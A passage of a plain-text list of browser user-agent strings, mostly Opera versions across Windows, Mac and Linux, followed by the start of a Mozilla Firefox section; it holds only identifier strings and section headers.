NT 5.1; U; pl) -Opera/8.54 (Windows NT 5.1; U; ru) -Opera/8.54 (X11; Linux i686; U; de) -Opera/8.54 (X11; Linux i686; U; pl) -Opera/9.00 (Macintosh; PPC Mac OS X; U; es) -Opera/9.00 (Windows NT 5.0; U; en) -Opera/9.00 (Windows NT 5.1; U; de) -Opera/9.00 (Windows NT 5.1; U; en) -Opera/9.00 (Windows NT 5.1; U; es-es) -Opera/9.00 (Windows NT 5.1; U; fi) -Opera/9.00 (Windows NT 5.1; U; fr) -Opera/9.00 (Windows NT 5.1; U; it) -Opera/9.00 (Windows NT 5.1; U; ja) -Opera/9.00 (Windows NT 5.1; U; nl) -Opera/9.00 (Windows NT 5.1; U; pl) -Opera/9.00 (Windows NT 5.1; U; ru) -Opera/9.00 (Windows NT 5.2; U; en) -Opera/9.00 (Windows NT 5.2; U; pl) -Opera/9.00 (Windows NT 5.2; U; ru) -Opera/9.00 (Windows; U) -Opera/9.00 (X11; Linux i686; U; de) -Opera/9.00 (X11; Linux i686; U; en) -Opera/9.00 (X11; Linux i686; U; pl) -Opera/9.01 (Macintosh; PPC Mac OS X; U; en) -Opera/9.01 (Macintosh; PPC Mac OS X; U; it) -Opera/9.01 (Windows NT 5.0; U; de) -Opera/9.01 (Windows NT 5.0; U; en) -Opera/9.01 (Windows NT 5.1) -Opera/9.01 (Windows NT 5.1; U; bg) -Opera/9.01 (Windows NT 5.1; U; cs) -Opera/9.01 (Windows NT 5.1; U; da) -Opera/9.01 (Windows NT 5.1; U; de) -Opera/9.01 (Windows NT 5.1; U; en) -Opera/9.01 (Windows NT 5.1; U; es-es) -Opera/9.01 (Windows NT 5.1; U; ja) -Opera/9.01 (Windows NT 5.1; U; pl) -Opera/9.01 (Windows NT 5.1; U; ru) -Opera/9.01 (Windows NT 5.2; U; en) -Opera/9.01 (Windows NT 5.2; U; ru) -Opera/9.01 (X11; FreeBSD 6 i386; U; en) -Opera/9.01 (X11; FreeBSD 6 i386; U;pl) -Opera/9.01 (X11; Linux i686; U; en) -Opera/9.01 (X11; OpenBSD i386; U; en) -Opera/9.02 (Windows NT 5.0; U; en) -Opera/9.02 (Windows NT 5.0; U; pl) -Opera/9.02 (Windows NT 5.0; U; sv) -Opera/9.02 (Windows NT 5.1; U; de) -Opera/9.02 (Windows NT 5.1; U; en) -Opera/9.02 (Windows NT 5.1; U; fi) -Opera/9.02 (Windows NT 5.1; U; ja) -Opera/9.02 (Windows NT 5.1; U; nb) -Opera/9.02 (Windows NT 5.1; U; pl) -Opera/9.02 (Windows NT 5.1; U; pt-br) -Opera/9.02 (Windows NT 5.1; U; ru) -Opera/9.02 (Windows NT 5.1; U; zh-cn) -Opera/9.02 (Windows NT 5.2; U; de) -Opera/9.02 (Windows NT 5.2; U; en) -Opera/9.02 (Windows; U; nl) -Opera/9.02 (Windows XP; U; ru) -Opera/9.02 (X11; Linux i686; U; de) -Opera/9.02 (X11; Linux i686; U; en) -Opera/9.02 (X11; Linux i686; U; hu) -Opera/9.02 (X11; Linux i686; U; pl) -Opera/9.10 (Windows NT 5.1; U; es-es) -Opera/9.10 (Windows NT 5.1; U; fi) -Opera/9.10 (Windows NT 5.1; U; hu) -Opera/9.10 (Windows NT 5.1; U; it) -Opera/9.10 (Windows NT 5.1; U; nl) -Opera/9.10 (Windows NT 5.1; U; pl) -Opera/9.10 (Windows NT 5.1; U; pt) -Opera/9.10 (Windows NT 5.1; U; sv) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Opera/9.10 (Windows NT 5.2; U; de) -Opera/9.10 (Windows NT 5.2; U; en) -Opera/9.10 (Windows NT 6.0; U; en) -Opera/9.10 (Windows NT 6.0; U; it-IT) -Opera/9.10 (X11; Linux i386; U; en) -Opera/9.10 (X11; Linux i686; U; en) -Opera/9.10 (X11; Linux i686; U; kubuntu;pl) -Opera/9.10 (X11; Linux i686; U; pl) -Opera/9.10 (X11; Linux; U; en) -Opera/9.10 (X11; Linux x86_64; U; en) -Opera/9.12 (Windows NT 5.0; U) -Opera/9.12 (Windows NT 5.0; U; ru) -Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) -Opera/9.20 (Windows NT 5.1; U; en) -Opera/9.20(Windows NT 5.1; U; en) -Opera/9.20 (Windows NT 5.1; U; es-AR) -Opera/9.20 (Windows NT 5.1; U; es-es) -Opera/9.20 (Windows NT 5.1; U; it) -Opera/9.20 (Windows NT 5.1; U; nb) -Opera/9.20 (Windows NT 5.1; U; zh-tw) -Opera/9.20 (Windows NT 5.2; U; en) -Opera/9.20 (Windows NT 6.0; U; de) -Opera/9.20 (Windows NT 6.0; U; en) -Opera/9.20 (Windows NT 6.0; U; es-es) -Opera/9.20 (X11; Linux i586; U; en) -Opera/9.20 (X11; Linux i686; U; en) -Opera/9.20 (X11; Linux i686; U; es-es) -Opera/9.20 (X11; Linux i686; U; pl) -Opera/9.20 (X11; Linux i686; U; ru) -Opera/9.20 (X11; Linux i686; U; tr) -Opera/9.20 (X11; Linux x86_64; U; en) -Opera/9.21 (Macintosh; Intel Mac OS X; U; en) -Opera/9.21 (Macintosh; PPC Mac OS X; U; en) -Opera/9.21 (Windows 98; U; en) -Opera/9.21 (Windows NT 5.0; U; de) -Opera/9.21 (Windows NT 5.1; U; de) -Opera/9.21 (Windows NT 5.1; U; en) -Opera/9.21 (Windows NT 5.1; U; fr) -Opera/9.21 (Windows NT 5.1; U; nl) -Opera/9.21 (Windows NT 5.1; U; pl) -Opera/9.21 (Windows NT 5.1; U; pt-br) -Opera/9.21 (Windows NT 5.1; U; ru) -Opera/9.21 (Windows NT 5.2; U; en) -Opera/9.21 (Windows NT 6.0; U; en) -Opera/9.21 (Windows NT 6.0; U; nb) -Opera/9.21 (X11; Linux i686; U; de) -Opera/9.21 (X11; Linux i686; U; en) -Opera/9.21 (X11; Linux i686; U; es-es) -Opera/9.21 (X11; Linux x86_64; U; en) -Opera/9.22 (Windows NT 5.1; U; en) -Opera/9.22 (Windows NT 5.1; U; fr) -Opera/9.22 (Windows NT 5.1; U; pl) -Opera/9.22 (Windows NT 6.0; U; en) -Opera/9.22 (Windows NT 6.0; U; ru) -Opera/9.22 (X11; Linux i686; U; de) -Opera/9.22 (X11; Linux i686; U; en) -Opera/9.22 (X11; OpenBSD i386; U; en) -Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) -Opera/9.23 (Mac OS X; fr) -Opera/9.23 (Mac OS X; ru) -Opera/9.23 (Windows NT 5.0; U; de) -Opera/9.23 (Windows NT 5.0; U; en) -Opera/9.23 (Windows NT 5.1; U; da) -Opera/9.23 (Windows NT 5.1; U; de) -Opera/9.23 (Windows NT 5.1; U; en) -Opera/9.23 (Windows NT 5.1; U; fi) -Opera/9.23 (Windows NT 5.1; U; it) -Opera/9.23 (Windows NT 5.1; U; ja) -Opera/9.23 (Windows NT 5.1; U; pt) -Opera/9.23 (Windows NT 5.1; U; zh-cn) -Opera/9.23 (Windows NT 6.0; U; de) -Opera/9.23 (X11; Linux i686; U; en) -Opera/9.23 (X11; Linux i686; U; es-es) -Opera/9.23 (X11; Linux x86_64; U; en) -Opera/9.24 (Macintosh; PPC Mac OS X; U; en) -Opera/9.24 (Windows NT 5.0; U; ru) -Opera/9.24 (Windows NT 5.1; U; ru) -Opera/9.24 (Windows NT 5.1; U; tr) -Opera/9.24 (X11; Linux i686; U; de) -Opera/9.24 (X11; SunOS i86pc; U; en) -Opera/9.25 (Macintosh; Intel Mac OS X; U; en) -Opera/9.25 (Macintosh; PPC Mac OS X; U; en) -Opera/9.25 (OpenSolaris; U; en) -Opera/9.25 (Windows NT 4.0; U; en) -Opera/9.25 (Windows NT 5.0; U; cs) -Opera/9.25 (Windows NT 5.0; U; en) -Opera/9.25 (Windows NT 5.1; U; de) -Opera/9.25 (Windows NT 5.1; U; lt) -Opera/9.25 (Windows NT 5.1; U; ru) -Opera/9.25 (Windows NT 5.1; U; zh-cn) -Opera/9.25 (Windows NT 5.2; U; en) -Opera/9.25 (Windows NT 6.0; U; en-US) -Opera/9.25 (Windows NT 6.0; U; ru) -Opera/9.25 (Windows NT 6.0; U; sv) -Opera/9.25 (X11; Linux i686; U; en) -Opera/9.25 (X11; Linux i686; U; fr) -Opera/9.25 (X11; Linux i686; U; fr-ca) -Opera/9.26 (Macintosh; PPC Mac OS X; U; en) -Opera/9.26 (Windows NT 5.1; U; de) -Opera/9.26 (Windows NT 5.1; U; nl) -Opera/9.26 (Windows NT 5.1; U; pl) -Opera/9.26 (Windows NT 5.1; U; zh-cn) -Opera/9.26 (Windows; U; pl) -Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) -Opera/9.27 (Windows NT 5.1; U; ja) -Opera/9.27 (Windows NT 5.2; U; en) -Opera/9.27 (X11; Linux i686; U; en) -Opera/9.27 (X11; Linux i686; U; fr) -Opera/9.4 (Windows NT 5.3; U; en) -Opera/9.4 (Windows NT 6.1; U; en) -Opera/9.50 (Macintosh; Intel Mac OS X; U; de) -Opera/9.50 (Macintosh; Intel Mac OS X; U; en) -Opera/9.50 (Windows NT 5.1; U; es-ES) -Opera/9.50 (Windows NT 5.1; U; it) -Opera/9.50 (Windows NT 5.1; U; nl) -Opera/9.50 (Windows NT 5.1; U; nn) -Opera/9.50 (Windows NT 5.1; U; ru) -Opera/9.50 (Windows NT 5.2; U; it) -Opera/9.50 (X11; Linux i686; U; es-ES) -Opera/9.50 (X11; Linux x86_64; U; nb) -Opera/9.50 (X11; Linux x86_64; U; pl) -Opera/9.51 (Macintosh; Intel Mac OS X; U; en) -Opera/9.51 (Windows NT 5.1; U; da) -Opera/9.51 (Windows NT 5.1; U; en) -Opera/9.51 (Windows NT 5.1; U; en-GB) -Opera/9.51 (Windows NT 5.1; U; es-AR) -Opera/9.51 (Windows NT 5.1; U; es-LA) -Opera/9.51 (Windows NT 5.1; U; fr) -Opera/9.51 (Windows NT 5.1; U; nn) -Opera/9.51 (Windows NT 5.2; U; en) -Opera/9.51 (Windows NT 6.0; U; en) -Opera/9.51 (Windows NT 6.0; U; es) -Opera/9.51 (Windows NT 6.0; U; sv) -Opera/9.51 (X11; Linux i686; U; de) -Opera/9.51 (X11; Linux i686; U; fr) -Opera/9.51 (X11; Linux i686; U; Linux Mint; en) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) -Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) -Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) -Opera/9.52 (Windows NT 5.0; U; en) -Opera/9.52 (Windows NT 5.2; U; ru) -Opera/9.52 (Windows NT 6.0; U; de) -Opera/9.52 (Windows NT 6.0; U; en) -Opera/9.52 (Windows NT 6.0; U; fr) -Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) -Opera/9.52 (X11; Linux i686; U; cs) -Opera/9.52 (X11; Linux i686; U; en) -Opera/9.52 (X11; Linux i686; U; fr) -Opera/9.52 (X11; Linux x86_64; U) -Opera/9.52 (X11; Linux x86_64; U; en) -Opera/9.52 (X11; Linux x86_64; U; ru) -Opera/9.5 (Windows NT 5.1; U; fr) -Opera/9.5 (Windows NT 6.0; U; en) -Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.60 (X11; Linux x86_64; U) -Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 -Opera/9.63 (X11; Linux i686) -Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; en) -Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; ru) -Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 -Opera 9.7 (Windows NT 5.2; U; en) -Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 -Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52 -Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 -Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 -Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5 -Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51 -Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 -Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00 -Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 -Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10 -Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 -Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62 -Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 -Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 -Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 -Opera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 -Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11 -Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11 -Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10 -Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 -Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50 -Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 -Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 -Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 -Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 -Opera/9.99 (X11; U; sk) -Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 -Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 -Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 -Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00 -Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00 -Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02 - -# Mozilla Firefox - -Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8) -Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4 -Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4 -Mozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0 -Mozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 -Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 